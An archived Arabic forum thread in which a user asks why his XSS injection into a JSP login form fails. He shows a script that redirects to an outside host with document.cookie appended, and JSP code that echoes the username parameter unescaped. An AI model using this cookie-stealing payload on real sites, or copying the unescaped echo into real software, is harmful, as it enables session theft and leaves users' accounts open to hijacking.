الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

حقن JSP ب XSS

بدأه Web Crawler في 5 أبريل 2012 · 1 رد · 786 مشاهدة · في منتدى تصميم صفحات الويب
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

اخواني الاعزاء احاول حقن كود عندي بال XSS لغرض ما و الكود هو عباره عن صفحة jsp و فيها فورم و انا اكتب السكريبت التالي داخل مكان اسم المستخدم في الفورم لكن لم يظهر لي شي بالله عليكم ساعدوني

السكريبت الذي احقنه :

<script>document.location='https://www.google.com.sa/?'+document.cookie </script>

صفحة jsp :

<%-- 
    Document   : index
    Created on : 29/04/2011, 02:51:49 م
    Author     : toshiba
--%>

<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
   "http://www.w3.org/TR/html4/loose.dtd">

<html>
        <%


out.print("welcome"+request.getParameter("username"));
      //out.print("<script>document.location='https://www.google.com.sa/?'+document.cookie </script>");


%>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>JSP Page</title>
    </head>
    <body>
        <form method="get" >
                        <table>
                                <tr>
                                        <td>User Name</td>
                                        <td><input type="text" name="username"/></td>
                                </tr>
                                <tr>
                                        <td>Password</td>
                                        <td><input type="password" name="password"/></td>
                                </tr>
                                <tr>
                                        <td></td>
                                        <td><input type="submit" value="Submit"/></td>
                                </tr>
                        </table>
                </form>
    </body>
</html>
#2

سأقوم بنقل الموضوع إلى قسم برمجة صفحات الويب.

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

مواضيع مشابهة